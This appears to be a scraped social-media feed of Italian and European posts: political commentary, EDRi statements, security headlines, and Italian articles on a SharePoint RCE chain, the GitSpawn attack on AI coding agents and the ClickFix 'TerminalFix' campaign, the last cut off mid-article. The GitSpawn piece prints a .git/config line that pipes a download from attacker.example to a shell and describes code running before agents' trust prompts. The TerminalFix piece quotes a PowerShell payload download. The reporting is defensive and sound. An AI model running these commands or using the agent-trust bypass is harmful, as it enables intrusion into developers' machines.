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Can’t believe I’m already going into my third year at the European Parliament!

My priorities are supporting European democracy, defence, and digital affairs.

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🚨 New wave of spyware attacks in Serbia target the student movement, activists, and opposition parties 🚨

SHARE Foundation has confirmed that at least 14 people in Serbia were targeted with spyware since the beginning of 2026 – the largest documented wave of such surveillance in the country to date. The timing of these attacks is especially suspicious and coincides with local elections in the country held in March 2026.

Read more ➡️ edri.org/our-work/students-and…

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Il sostegno all’Ucraina non è affatto lontano dal Paese reale. Anzi.

Secondo l’ultimo sondaggio SWG, oggi il 51% degli italiani è favorevole a continuare l’invio di armi a Kyiv. Un dato che smentisce una narrazione ripetuta per anni: quella di un’Italia ormai compatta per il disimpegno.

La questione, però, non è solo militare: è politica. Una pace vera e duratura non si costruisce premiando chi invade e costringendo chi è stato aggredito ad accettare qualsiasi condizione. Senza sicurezza, deterrenza e garanzie credibili, il rischio è soltanto rinviare la prossima guerra.

Ed è qui che l’Europa deve cambiare passo. Finché resteremo divisi tra 27 sistemi di difesa, 27 priorità nazionali e 27 veti, continueremo a dipendere dalle scelte altrui.

Per Volt dunque, sostenere l’Ucraina significa anche costruire un’Europa più forte e finalmente federale: con una vera difesa comune, capacità condivise, comando europeo, decisioni più rapide e fine dei veti nazionali.

Se vogliamo difendere davvero la pace e la sicurezza europee, dobbiamo mettere l’Europa nelle condizioni di proteggerle.

#Ucraina #Ukraine #Europa #Pace #DifesaEuropea #EuropaFederale #Volt #VoltItalia #VoltEuropa

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La convention di Trump divide il GOP: 45 deputati verso il forfait


Un sondaggio di Politico tra oltre 70 deputati repubblicani ne conta 45 pronti a saltare l'evento di Dallas del 9 e 10 settembre. Pesano i biglietti da 25.000 a 100.000 dollari e il timore di farsi vedere accanto a un presidente in calo nei sondaggi.

Quarantacinque deputati repubblicani hanno intenzione di saltare la convention di midterm voluta da Donald Trump, in programma il 9 e 10 settembre a Dallas. Il dato emerge da un sondaggio di Politico condotto tra oltre 70 esponenti repubblicani della Camera e conferma le difficoltà della prima Convention di midterm nella storia del partito, resa possibile da una modifica del regolamento del Republican National Committee. Trump l'aveva annunciata a fine giugno su Truth Social, promettendo "un evento davvero storico" per celebrare "la nostra Nazione, i nostri successi e il nostro futuro luminoso" insieme alla sua agenda "America First".

Un deputato repubblicano ha definito la Convention come "una perdita di tempo" e, parlando con Politico, ne ha descritto l'organizzazione come "un pasticcio". "A questo punto non dovresti dover mobilitare la tua base", ha aggiunto. "Dovresti cercare di convincere gli indipendenti. Gli indipendenti non partecipano e non guardano la Convention di midterm".

Trump chiuderà i lavori della Convention con un discorso il 10 settembre, nell'ambito della strategia dichiarata di trasformare le elezioni di novembre in un referendum su sé stesso. Resta però da capire quanti esponenti repubblicani impegnati nelle sfide più incerte vorranno farsi vedere al suo fianco. Tom Barrett, deputato del Michigan in corsa per la rielezione in un distretto in bilico, lo ha detto apertamente: "Non posso controllare cosa dirà il presidente alla Convention, ma posso controllare dove sono e cosa farò". Il suo stratega Jason Cabel Roe ha spiegato a Reuters che Barrett resterà nel distretto a fare campagna elettorale perché "è in una corsa difficile e i suoi elettori sono nel suo distretto".

Biglietti fino a 100.000 dollari e un anniversario scomodo


Secondo Puck, il National Republican Congressional Committee, il comitato elettorale dei repubblicani alla Camera dei Rappresentanti, chiede ai deputati almeno 25.000 dollari per partecipare alla Convention con un accompagnatore, mentre il pacchetto più costoso arriva fino a 100.000 dollari. "Non volevo andarci comunque", ha detto a Politico un secondo deputato. "Questo ha reso la decisione più facile". Tim Burchett, deputato del Tennessee, ha citato proprio il costo tra le ragioni per cui "non è sicuro" di partecipare.

Puck segnala anche un problema di immagine: la Convention si terrà due giorni prima di un anniversario molto scomodo, il venticinquesimo degli attentati dell'11 settembre. Intanto, secondo la testata, il Republican National Committee starebbe raccogliendo sponsorizzazioni da donatori aziendali attraverso un'organizzazione senza fini di lucro, una struttura che consentirebbe di non far comparire i nomi dei finanziatori nei normali rendiconti elettorali.

Un consulente repubblicano, parlando con Puck, ha definito senza mezzi termini la Convention uno "shit show": pochi eletti sarebbero, infatti, disposti a pagare quelle cifre e molti avrebbero già assunto altri impegni prima dell'arrivo degli inviti, spediti in ritardo. Un altro stratega ha detto che "nessuno capisce perché stiamo facendo una Convention di midterm", liquidandola come "un'altra occasione per spremere le aziende americane". In un anno senza elezioni presidenziali, infatti, il partito non ha alcun adempimento formale da svolgere durante una Convention.

Per alcuni repubblicani, l'evento rischia così di ridursi a poco più di una raccolta fondi per uno spettacolo politico incentrato su Trump. Anche Reuters ha raccolto tra i consulenti del partito l'idea che la Convention rappresenti solo una distrazione nel tratto finale della campagna elettorale. L'agenzia stampa ha inoltre riferito che il presidente di un partito statale ha restituito molti dei posti assegnati alla propria delegazione perché diversi membri non riuscivano a conciliare le date dell'evento con altri impegni, compreso l'inizio dell'anno scolastico.

Un programma ancora da definire


Anche il programma resta in gran parte da definire. Il vicepresidente JD Vance parlerà il 9 settembre e Trump il giorno successivo, ma Reuters ha scritto che non è ancora chiaro quali candidati al Congresso interverranno. I consiglieri di tre candidati repubblicani in distretti contesi hanno detto di non sapere nemmeno se a loro verrà offerto uno spazio sul palco.

Reuters ha contattato i rappresentanti dei candidati repubblicani in 37 corse competitive per la Camera e otto per il Senato. Su 45 campagne, soltanto quella di Barrett ha fornito una risposta nel merito. Secondo alcuni strateghi sentiti da Reuters, mettere Trump al centro dell'evento rischia di richiamare l'attenzione su un presidente con un basso indice di gradimento, che ha più volte chiesto agli americani di sopportare i costi economici della guerra in Iran. Un sondaggio Reuters/Ipsos condotto tra il 21 e il 24 agosto attribuisce a Trump un tasso di approvazione del 33%; appena il 13% degli americani approva con convinzione il suo operato, una quota che tra i repubblicani si ferma al 35%.

La portavoce del Republican National Committee, Natalie Baldassarre, ha respinto queste letture sostenendo che "l'interesse e l'entusiasmo per partecipare, intervenire e parlare a questa Convention storica sono stati incredibili" e che l'evento "darà lo slancio necessario per allargare le nostre maggioranze a novembre".

Trump non sarà sulla scheda elettorale, ma in gioco c’è comunque il controllo repubblicano del Congresso e, con esso, la capacità del presidente di portare avanti la propria agenda negli ultimi due anni di mandato, evitando di trasformarsi anzitempo in un’“anatra zoppa”. La Convention, concepita per trasformare il voto di novembre in un referendum su Trump, rischia però di produrre l’effetto opposto: diventare l’evento dal quale i candidati repubblicani più esposti preferiscono tenersi alla larga, nel timore che un’eccessiva identificazione con il presidente possa costare loro cara alle urne.


Trump pensa alla sua eredità politica, i repubblicani alle midterm


Giovedì il presidente Donald Trump ha pubblicato su Truth Social, il suo social network, dove lo seguono 13 milioni di persone, un'immagine generata con l'intelligenza artificiale che mette in classifica i presidenti americani. Il suo nome compare al primo posto, sopra George Washington e Abraham Lincoln, con la scritta "The Greatest", il più grande, sopra il ritratto. Secondo il Wall Street Journal, con i consensi in calo Trump è impegnato soprattutto a costruire l'eredità che lascerà. I repubblicani temono in privato che questa concentrazione su di sé li stia danneggiando in vista delle elezioni di metà mandato di novembre e regali ai democratici materiale per gli spot elettorali.

I suoi consiglieri più stretti provano da mesi a spostare la sua attenzione sull'economia, il tema a cui gli elettori tengono di più. Trump ha rivendicato i risultati economici in discorsi ed eventi alla Casa Bianca, ma finisce spesso per parlare d'altro, dai cantieri che ha avviato agli attacchi contro chi considera un nemico.

Trump ha visto da vicino quanto in fretta un successore possa cancellare le politiche di un presidente e per questo vuole lasciare segni difficili da rimuovere. Secondo i suoi collaboratori passa molto tempo a seguire una lista crescente di cantieri, dalla sala da ballo della Casa Bianca all'arco di trionfo che vorrebbe costruire, pensati come ricordi fisici del suo mandato. Questo mese ha mostrato ai giornalisti la nuova piazzola per gli elicotteri in costruzione sul prato sud della Casa Bianca, dicendo che la pietra scelta durerà un milione di anni. Sta anche mettendo il suo nome e il suo volto su passaporti in edizione limitata, sui pass per i parchi nazionali e su una moneta commemorativa da un dollaro di prossima uscita.

Un alto funzionario dell'amministrazione ha detto che il presidente è entrato in "modalità eredità". Secondo i collaboratori è fissato con il modo in cui verrà ricordato dalle generazioni future e vuole evitare la sorte degli ex presidenti che considera deboli, come Jimmy Carter. "È uno dei pochi presidenti che ragionano su una scala interamente storica", ha detto al giornale Newt Gingrich, ex presidente della Camera dei rappresentanti e oggi confidente di Trump. "Vuole essere incisivo, vuole essere il tipo di presidente del quale la gente dica che è stato importante che fosse presidente".

I repubblicani affrontano una corsa in salita per mantenere la maggioranza al Congresso, dove a novembre si rinnovano tutta la Camera e un terzo del Senato. Per questo gli chiedono di dirottare sulla campagna la sua attenzione e i suoi soldi. Il super PAC a lui vicino, MAGA Inc. (i super PAC sono comitati che possono raccogliere e spendere fondi senza limiti a sostegno di un candidato), ha accumulato una cassa da oltre 400 milioni di dollari, ma non ha ancora iniziato a spenderla su larga scala. La lentezza frustra molti nel partito del presidente.

Di recente il gruppo ha speso più di 800.000 dollari in telefonate e messaggi per portare al voto gli elettori della senatrice repubblicana Darline Graham, che questa settimana ha vinto il ballottaggio delle primarie in South Carolina contro uno sfidante del suo stesso partito. Trump l'aveva incoraggiata a candidarsi per il seggio lasciato libero dalla morte del fratello Lindsey Graham. Una sconfitta sarebbe stata un imbarazzo per il presidente, che rivendica i successi dei candidati che appoggia. Alcuni repubblicani si sono lamentati in privato perché la prima spesa significativa del gruppo dopo mesi è arrivata in una sfida tra due repubblicani. Lo Stato, che Trump ha vinto nel 2024, non è considerato conteso da nessuno dei due partiti in vista di novembre.

Nonostante i consensi bassi, Trump vuole comunque mettersi al centro della campagna per le midterm, una scelta che metterà alla prova la sua influenza sugli elettori. Mentre il suo entourage discute su come usare la raccolta di MAGA Inc., il presidente ha detto ai consiglieri di volere una serie di spot televisivi centrati sulla sua agenda. È convinto che i tagli alle tasse che ha firmato faranno presa sugli elettori e sostiene di essere ancora la forza politica più potente del partito, capace di spingere i repubblicani a votare a novembre. In un'intervista a Fox News questa settimana ha chiesto ai suoi sostenitori di "fare finta" che sia lui il nome sulla scheda elettorale.

Alcuni repubblicani temono anche che al presidente non importino le ricadute politiche delle sue mosse sul resto del partito. Quando i vertici repubblicani al Congresso hanno faticato a trovare un accordo sulla legge spinta da Trump per introdurre requisiti più severi per l'accesso al voto, un alto funzionario dell'amministrazione ha raccontato che al presidente non importava dell'effetto del dibattito sui parlamentari in cerca di rielezione. Era concentrato sulla sua eredità di lungo periodo.

Le rivalità internazionali a volte lo distraggono dall'agenda interna. Mentre i repubblicani facevano campagna in giro per il Paese, questa settimana Trump ha alzato i toni dello scontro commerciale con il Canada. Ha convocato la stampa nello Studio Ovale per firmare l'ordine esecutivo che ribattezza il lago Ontario "Lake America". Il conduttore radiofonico conservatore Erick Erickson, negli ultimi mesi sempre più critico verso il presidente, ha scritto sui social di provare a immaginare l'elettore indeciso sulle midterm che legge quella notizia e decide di votare repubblicano. "Non potete immaginarlo perché non esiste", ha aggiunto.

La guerra con l'Iran, impopolare, ha messo sotto pressione l'economia americana, ha indebolito la posizione degli Stati Uniti nel mondo e ha portato i consensi di Trump ai minimi storici. Oltre alla Camera, i repubblicani ora rischiano di perdere anche il Senato. Se i democratici riconquistassero il Congresso, per Trump si aprirebbe la possibilità di un terzo impeachment (la procedura di messa in stato d'accusa, che ha già affrontato due volte nel primo mandato), un'eventualità che preoccupa la Casa Bianca. "Ha scelto la sua eredità: la guerra con l'Iran, la caduta dell'impero americano e la distruzione dell'economia degli Stati Uniti", ha detto Tucker Carlson. L'ex conduttore di Fox News aveva fatto campagna per il secondo mandato di Trump e lo ha consigliato con regolarità, fino alla rottura tra i due proprio sulla guerra.

Che Trump ragioni sul dopo-presidenza è già una novità. Negli anni fuori dalla Casa Bianca i collaboratori evitavano di parlargli della biblioteca presidenziale, il complesso con archivi e museo che ogni ex presidente costruisce per custodire la memoria del proprio mandato. Temevano che la prendesse come un segnale della fine del suo potere. Ora ne parla apertamente. Nel secondo mandato, racconta un suo assistente, Trump è anche diventato un lettore di biografie presidenziali.

Ha scelto personalmente i ritratti dei predecessori e ha corretto le targhe che li accompagnano nella "Presidential Walk of Fame", la nuova esposizione lungo il colonnato della Casa Bianca. Al posto del ritratto di Joe Biden c'è la fotografia di un autopen, la macchina che riproduce le firme, con una targa secondo cui il suo predecessore "è stato, di gran lunga, il peggior presidente della storia americana". La voce dedicata a Trump, scritta da lui stesso, anticipa il giudizio che spera di leggere nei libri di storia: al suo insediamento ha annunciato l'inizio dell'"età dell'oro dell'America" e, si legge, "ha mantenuto la promessa".


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Matteo Salvini attacca Vannacci: no all’educazione militare nelle scuole.

Ma ha perso la memoria? Per anni è stato proprio Salvini a chiedere il ritorno della leva obbligatoria, anche per sei mesi.

Tranquillo, Matteo: ci pensiamo noi a rinfrescartela.

E tu, te lo ricordi?

Video di Francesca Romana D’Antuono, già copresidente di Volt Europa.

#Salvini #LevaMilitare #PoliticaItaliana #Scuola #Vannacci #EuropaFederale #Volt #VoltItalia #VoltEuropa

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✊🏽 Providing safe, secure and independent internet infrastructure is not a crime. EDRi stands in full solidarity with Autistici/Inventati @cavallette after the US government designated the Italian non-profit organisation as a "Specially Designated Global Terrorist."

This targeting of A/I is also an attack on fundamental rights, safe and secure communications, anti-authoritarian organising and the democratic integrity of the EU.

Our full statement ➡️ edri.org/our-work/edri-solidar…

Questa voce è stata modificata (1 settimana fa)
in reply to EDRi

Secondo alcuni statunitensi le sanzioni a @cavallette sono giuste perché creano servizi utili a brava gente ma anche a chi (secondo loro) non lo è. Prendiamolo per vero. Leonardo e Beretta fabbricano cose utili (secondo alcuni) a brava gente ma anche a cattiva. Le sanzioniamo? Idem Lockheed Martin, Northrop Grumman, ... Sanzioniamo pure loro? Gli USA hanno inventato e prodotto la bomba atomica che non è dual use. Fa solo omicidi di massa. Quando inizieremo a sanzionare gli USA?
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GitSpawn Turns Booby-Trapped Repositories Into Silent Code Execution Across AI Coding Tools
#CyberSecurity
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New WhatsApp Video Call Trick Bypasses Android Lock Screens to Expose Your Photos
#CyberSecurity
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Lenovo ID Trust Flaw Opened About 5,000 Dropbox Accounts to Takeover
#CyberSecurity
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Microsoft 365 Session Hijacking Campaigns Hide Behind Trusted Remote-Support Tools
#CyberSecurity
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Fake Software Installers Are Quietly Disarming Microsoft Defender in New Silver Fox Campaign
#CyberSecurity
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TukTuk Malware Gives Ransomware Crews Cross-Platform Control and EDR-Killing Tools
#CyberSecurity
securebulletin.com/tuktuk-malw…
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SharePoint sotto attacco: la catena RCE non autenticata CVE-2026-55040 + CVE-2026-63520
#tech
spcnet.it/sharepoint-sotto-att…
@informatica


SharePoint sotto attacco: la catena RCE non autenticata CVE-2026-55040 + CVE-2026-63520


Una catena di due CVE trasforma SharePoint in un bersaglio non autenticato


Ad agosto 2026 Rapid7 e VulnCheck hanno pubblicato, in tempi ravvicinati, l’analisi tecnica di una catena di exploit che colpisce Microsoft SharePoint Server on-premises con impatto massimo: esecuzione di codice remoto senza alcuna autenticazione. La catena combina due vulnerabilità distinte, CVE-2026-55040 (bypass di autenticazione JWT, CVSS 9.1) e CVE-2026-63520 (istanziazione insicura di tipi .NET nel motore Business Data Connectivity), e secondo Shadowserver oltre 8.700 server SharePoint risultano ancora esposti direttamente su Internet. Per chi gestisce infrastrutture SharePoint on-prem non si tratta di un bollettino da archiviare: è una delle catene di attacco più pericolose viste sulla piattaforma dai tempi di ToolShell.

CVE-2026-55040: quando il token JWT non prova più nulla


Il primo anello della catena riguarda la pipeline di validazione dei token JWT usati internamente da SharePoint per l’autenticazione tra servizi. A causa di controlli insufficienti su questi token, un attaccante che conosca in anticipo l’identità di un utente target (tramite il suo SID di Active Directory o il suo UPN, entrambi spesso enumerabili o prevedibili in ambienti aziendali) può forgiare un token valido e impersonarlo senza fornire alcuna credenziale. Il risultato è un bypass completo dell’autenticazione: l’attaccante entra nel sistema con l’identità di un utente legittimo, potenzialmente un amministratore.

Da sola, questa vulnerabilità (classificata CWE-1390, “Weak Authentication”) sarebbe già critica. Ma è il punto di ingresso che rende possibile il secondo, ben più devastante, stadio della catena.

CVE-2026-63520: RCE tramite Business Data Connectivity


Il secondo CVE affligge il sottosistema Business Data Connectivity (BDC) di SharePoint, che permette di collegare fonti dati esterne tramite modelli descritti in file XML con estensione .bdcm. La causa radice è un’istanziazione di tipi .NET non sufficientemente validata nella classe DbTypeReflector: il metodo ResolveDotNetType() chiama direttamente Type.GetType() su un valore TypeName controllato dall’attaccante, senza un controllo efficace. Il filtro di sicurezza esistente si limitava a bloccare nomi di tipo corti, ma nomi di tipo superiori ai 15 caratteri bypassavano il controllo, aprendo la porta a qualunque tipo .NET disponibile nella Global Assembly Cache (GAC).

In pratica, un attaccante autenticato (o, dopo il bypass JWT, di fatto chiunque) può caricare un file BDCM appositamente costruito che definisce un LobSystem, un’Entity e un MethodInstance di tipo Finder. Quando SharePoint valuta una External List collegata a quel modello, il Finder viene eseguito automaticamente. I ricercatori hanno dimostrato più catene di gadget funzionanti, tra cui una basata su System.Windows.Data.ObjectDataProvider combinato con System.Diagnostics.Process per l’esecuzione diretta di comandi, e una variante che sfrutta System.Web.UI.LosFormatter.Deserialize() con un gadget TypeConfuseDelegate codificato in Base64 per innescare la deserializzazione insicura. Un semplice payload di prova può lanciare calc.exe sul server con i privilegi dell’account di servizio di SharePoint; in produzione, lo stesso meccanismo consente l’esecuzione di codice arbitrario, inclusi payload di post-exploitation completi.

La catena completa: da zero credenziali a RCE


Concatenando le due vulnerabilità, un attaccante che conosce solo lo UPN o il SID di un account SharePoint può:

  1. Forgiare un token JWT valido sfruttando CVE-2026-55040, ottenendo un contesto di autenticazione senza credenziali reali;
  2. Usare quel contesto per caricare un modello BDC malevolo e sfruttare CVE-2026-63520;
  3. Ottenere esecuzione di codice remoto con i privilegi dell’account applicativo di SharePoint, tipicamente con accesso ampio al farm e, a cascata, ad Active Directory.

È esattamente questo l’aspetto che ha spinto VulnCheck a pubblicare i dettagli tecnici in anticipo rispetto all’embargo standard di 30 giorni: un PoC pubblico era già in circolazione e la finestra di rischio per i server non patchati si stava riducendo rapidamente. Bleeping Computer e SecurityAffairs hanno successivamente confermato tentativi di sfruttamento attivo in the wild, mentre la società di threat intelligence Defused ha osservato attività di ricognizione sistematica contro honeypot SharePoint esposti.

Versioni affette e patch disponibili


Microsoft ha rilasciato aggiornamenti dedicati per tutte le edizioni supportate on-premises:

  • SharePoint Server Subscription Edition: KB5002882, build 16.0.19725.20434
  • SharePoint Server 2019: KB5002883, build 16.0.10417.20175
  • SharePoint Enterprise Server 2016: KB5002891, build 16.0.5561.1001

SharePoint Online (Microsoft 365) non è interessato: il rischio riguarda esclusivamente le installazioni on-premises. Se gestite un farm SharePoint self-hosted, la priorità è applicare queste patch ora, non nella prossima finestra di manutenzione pianificata.

Cosa fare subito, in pratica


Oltre al patching, che resta la contromisura primaria e non negoziabile, alcune azioni concrete per ridurre l’esposizione e rilevare eventuali compromissioni:

  • Inventariare i server esposti: verificate quali istanze SharePoint sono raggiungibili direttamente da Internet e valutate se sia davvero necessario, oppure se possano essere posizionate dietro un reverse proxy con autenticazione aggiuntiva o una VPN.
  • Controllare la build corrente: dalla Central Administration o via PowerShell (Get-SPFarm | Select BuildVersion) verificate che i server siano allineati alle build patchate elencate sopra.
  • Monitorare i log IIS e ULS per pattern di autenticazione anomali (token JWT sospetti, accessi con identità che normalmente non generano traffico da quell’origine) e per upload o modifiche di modelli BDC non pianificati.
  • Verificare le configurazioni Business Connectivity Services: se il farm non usa BDC/BCS in modo attivo, valutate se disabilitare il servizio riduce la superficie d’attacco senza impatti operativi.
  • Applicare il principio del minimo privilegio agli account di servizio di SharePoint, così da limitare il “raggio d’azione” di un’eventuale esecuzione di codice riuscita.

La combinazione di autenticazione bypassabile e deserializzazione insicura è un pattern che SharePoint ha già visto in passato (basti pensare a ToolShell nel 2025), e che continua a ripresentarsi perché il BDC/BCS resta un componente ricco di superficie d’attacco poco monitorato rispetto ad altre parti della piattaforma. Vale la pena, in generale, trattare ogni funzionalità di connettività dati esterna come un potenziale vettore di deserializzazione e sottoporla a hardening a prescindere dal CVE del momento.

Fonte originale: Petri IT Knowledgebase – SharePoint Exploit Code Puts Thousands of Internet-Facing Servers At Risk. Analisi tecnica aggiuntiva: Rapid7 su CVE-2026-55040, Rapid7 su CVE-2026-63520 e VulnCheck.


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BREEZE COMET Hackers Use AI-Written Tools to Speed-Run Brazilian Bank Fraud
#CyberSecurity
securebulletin.com/breeze-come…
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Bastian’s Night #492 September, 3rd


Every Thursday of the week, Bastian’s Night is broadcast from 21:30 CEST/DST.

Bastian’s Night is a live talk show in German with lots of music, a weekly round-up of news from around the world, and a glimpse into the host’s crazy week in the pirate movement.


If you want to read more about @BastianBB: –> This way


piratesonair.net/bastians-nigh…

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GitSpawn: come un file .git/config trasforma i tuoi agenti AI in un vettore RCE
#tech
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@informatica


GitSpawn: come un file .git/config trasforma i tuoi agenti AI in un vettore RCE


Il problema non è nel modello AI, ma nell’idraulica sotto di esso


I ricercatori di Manifold Security hanno pubblicato a inizio settembre 2026 una ricerca chiamata GitSpawn che identifica una classe di vulnerabilità presente in sette diversi agenti AI per lo sviluppo software: Claude Code, OpenAI Codex CLI, Cursor, goose, Hermes Agent, Qwen Code e Grok Build. In totale sono stati individuati otto difetti distinti, quattro dei quali ancora privi di patch al momento della pubblicazione. Il dato che rende la scoperta rilevante non è tanto la quantità di strumenti coinvolti, quanto la sua causa: come sintetizzano gli stessi ricercatori, “la vulnerabilità non è nel modello, né in qualcosa di nuovo: è nell’ordinaria idraulica sottostante”. Il colpevole è una funzionalità Git vecchia di anni, pensata per le performance, non per la sicurezza.

core.fsmonitor: da ottimizzazione a primitiva di code execution


core.fsmonitor è un’impostazione Git legittima, pensata per velocizzare comandi come git status su repository di grandi dimensioni: il suo valore può essere il percorso di un comando esterno che Git invoca per sapere quali file sono cambiati, evitando una scansione completa del filesystem. È una funzionalità comoda e ampiamente documentata, il cui rischio in ambito “solo umano” è mitigato dal fatto che un normale git clone non porta con sé la configurazione locale del repository sorgente: .git/config non viene propagato dal clone remoto, quindi un repository malevolo scaricato normalmente da GitHub non può iniettare questa impostazione.

Il problema nasce quando un repository arriva sul filesystem non tramite clone, ma con la directory .git già intatta: un archivio ZIP scaricato ed estratto, una cartella condivisa via unità di rete, una chiavetta USB, un backup ripristinato, un progetto trasferito via cloud sync. In tutti questi casi .git/config arriva integro, comprese eventuali righe malevole come:

[core]
    fsmonitor = "sh -c 'curl attacker.example/payload | sh'"

Gli agenti AI da riga di comando eseguono di routine comandi Git in background non appena aprono una cartella di lavoro — tipicamente git status o git diff — per orientarsi sul branch corrente e sui file modificati, così da costruire il contesto del progetto prima ancora di interagire con l’utente. Proprio questa esecuzione automatica di comandi Git è ciò che innesca core.fsmonitor, ed è ciò che lo rende, esattamente, pericoloso: il comando configurato viene eseguito con i pieni privilegi dell’utente collegato, fuori dalla sandbox dell’agente, senza alcuna richiesta di conferma.

Perché il timing è la parte più insidiosa


La ricerca di Manifold Security evidenzia che, in diversi agenti, l’esecuzione avviene prima di qualunque barriera di sicurezza pensata per proteggere proprio da questo tipo di scenario:

  • prima del prompt di “trust del workspace” (Claude Code, Hermes Agent);
  • prima dell’autenticazione dell’utente (Qwen Code);
  • prima ancora del primo tasto premuto nell’interfaccia (Grok Build).

In altre parole, aprire semplicemente una cartella con un agente AI — anche solo per “dare un’occhiata” a un progetto ricevuto — può bastare a innescare l’esecuzione del payload, senza che l’utente abbia dato alcun consenso esplicito all’agente di operare su quel repository.

Non solo fsmonitor: hook e filtri come vettori paralleli


Oltre a core.fsmonitor, i ricercatori segnalano altre impostazioni Git sfruttabili con lo stesso schema: core.hooksPath, che permette di ridirigere Git verso una directory di hook arbitraria, e le direttive attr.tree con filtri clean/process, che possono eseguire comandi durante normali operazioni sui file tracciati. Nel caso di goose, ad esempio, il comando goose review disattivava selettivamente una singola opzione di configurazione pericolosa (-c core.quotePath=off) senza però filtrare le altre, lasciando comunque una superficie sfruttabile.

Stato delle patch (settembre 2026)

AgenteVersioni coinvolteStato
goose< 1.44.0Patchato (CVE-2026-72718, CVSS 7.0)
Codex CLI0.102.0 – 0.130.0Patchato in 0.131.0+ (CVE-2026-19592)
Cursorvarie build CLIPatchato
Claude Code2.1.193+Parzialmente patchato in 2.1.196+ (CVE-2026-55607); una variante “ultrareview” risultava ancora presente in 2.1.258
Hermes Agent0.18.2, 0.21.0Non patchato (CVE-2026-71963, vendor non responsivo)
Qwen Code0.19.6, 0.22.3Non patchato
Grok Build0.2.93, 1.0.13Non patchato

Al momento della pubblicazione non risultano exploit documentati attivamente sfruttati in the wild, e nessun CVE della classe GitSpawn compare nel catalogo CISA KEV. Vale però la pena notare che scoperte indipendenti e parallele — da Sonar già ad aprile 2026 su Claude, e da OpenAI stessa il 2 settembre 2026 con l’assegnazione di tre CVE distinti su Codex — confermano che non si tratta di un caso isolato, ma di una debolezza sistemica nel modo in cui gli agenti CLI-based interagiscono con Git all’avvio.

Mitigazioni pratiche per sviluppatori e team DevOps


In attesa che tutti i vendor completino le patch, alcune contromisure applicabili subito:

  • Disattivare globalmente core.fsmonitor se non lo usate attivamente, così che nessuna configurazione locale di un repository possa riattivarlo silenziosamente:
    git config --global core.fsmonitor false
  • Verificare la presenza di configurazioni sospette prima di aprire un repository ricevuto per file (ZIP, USB, unità condivisa) con un agente AI:
    git config --global --list | grep fsmonitor
    git config --get core.fsmonitor
    git config --get core.hooksPath
  • Ispezionare manualmente .git/config di ogni repository ricevuto in questo modo, cercando in particolare core.fsmonitor, core.hooksPath e blocchi attr.tree con filtri clean/process prima di aprirlo con qualunque strumento, non solo con un agente AI.
  • Preferire sempre il clone via URL remoto invece di scompattare archivi o copiare cartelle .git intatte da fonti non verificate: è la barriera più semplice ed efficace, perché .git/config del remoto non viene mai trasferito da un clone standard.
  • Aggiornare gli agenti CLI alle ultime versioni disponibili e monitorare gli advisory dei rispettivi vendor, dato che lo stato delle patch resta disomogeneo e in evoluzione.
  • Per i team che integrano questi agenti in pipeline CI/CD, eseguire i comandi Git di background con override esplicito, ad esempio git -c core.fsmonitor=false status, per ridurre la superficie indipendentemente dalla configurazione locale del repository.


Perché riguarda anche voi, se non usate ancora agenti AI per il codice


GitSpawn è un promemoria di un principio più generale: ogni volta che uno strumento — sia un IDE, un CI runner o un agente AI — esegue comandi Git “di cortesia” per raccogliere contesto, sta implicitamente fidandosi della configurazione locale di un repository che potrebbe non aver mai scelto di clonare. Con la crescente adozione di agenti AI capaci di eseguire comandi in autonomia sul filesystem locale, questa fiducia implicita diventa un vettore di attacco concreto, non solo teorico. Vale la pena rivedere, anche nei propri script di automazione e negli ambienti di sviluppo condivisi, quali strumenti eseguono comandi Git non richiesti esplicitamente dall’utente, e blindare quel percorso a prescindere dal CVE del giorno.

Fonte originale: The Hacker News – Malicious .git Configs Can Make Claude, Codex, Cursor, and Other AI Agents Run Attacker Code. Ricerca tecnica: Cyber Security News – GitSpawn Flaws Let Malicious Repositories Execute Code (Manifold Security).


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High-Severity Cleo Harmony Bug Lets Attackers Forge Their Way to Admin Access
#CyberSecurity
securebulletin.com/high-severi…
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TerminalFix: come funziona l’attacco ClickFix con falsi CAPTCHA Cloudflare (e come difendersi)
#tech
spcnet.it/terminalfix-come-fun…
@informatica


TerminalFix: come funziona l’attacco ClickFix con falsi CAPTCHA Cloudflare (e come difendersi)


Da fine agosto 2026 Microsoft Threat Intelligence sta monitorando una campagna che porta il nome interno di TerminalFix: una variante evoluta della tecnica ClickFix, in cui l’utente viene convinto a “risolvere” da solo una verifica anti-bot incollando ed eseguendo un comando nel terminale di Windows. A differenza delle precedenti ondate ClickFix, che si limitavano a piazzare un infostealer, questa campagna costruisce una catena multi-stadio con DLL sideloading, steganografia e un tunnel di rete inverso completo. Per chi gestisce endpoint aziendali è un caso di studio da conoscere a fondo, perché la superficie di attacco non è una vulnerabilità software, ma il comportamento umano davanti a un prompt che sembra legittimo.

Cos’è la tecnica ClickFix e perché funziona ancora


ClickFix sfrutta un principio semplice: gli utenti sono ormai abituati a superare verifica CAPTCHA, quindi un overlay che imita Cloudflare Turnstile o un servizio simile non desta sospetti. La particolarità è che l’overlay non chiede di cliccare una casella, ma guida la vittima a premere Win+R, incollare un comando (già copiato negli appunti dal sito malevolo tramite JavaScript) e premere Invio. In questo modo l’attaccante bypassa i controlli sui download dai browser: non c’è un eseguibile da salvare e aprire, solo testo incollato in una finestra di dialogo che l’utente stesso avvia.

La catena di attacco di TerminalFix, passo dopo passo


Secondo l’analisi pubblicata da Microsoft Security, la campagna si sviluppa in otto fasi distinte, orchestrate per restare sotto la soglia di rilevamento della maggior parte degli endpoint protection tradizionali.

1. Il sito compromesso e il falso Cloudflare


La vittima visita un sito legittimo ma compromesso (uno degli indicatori è linked-log[.]com) che mostra un overlay identico a una verifica Cloudflare Turnstile. Lo script della pagina cancella il terminale e stampa un messaggio del tipo “Starting Cloudflare verification…”, mentre il comando PowerShell malevolo finisce già negli appunti dell’utente.

2. Download ed estrazione


Il comando incollato scarica un archivio ZIP e lo estrae in una sottocartella casuale di C:\ProgramData, ad esempio:

Invoke-WebRequest -Uri hxxps://gitnow[.]dev/payload.zip -OutFile $env:TEMP\p.zip
Expand-Archive $env:TEMP\p.zip -DestinationPath C:\ProgramData\f47f2a8c21c9df4e

Un file batch nella stessa cartella viene lanciato in modo silenzioso, avviando la fase successiva.

3. DLL sideloading su un binario firmato Microsoft


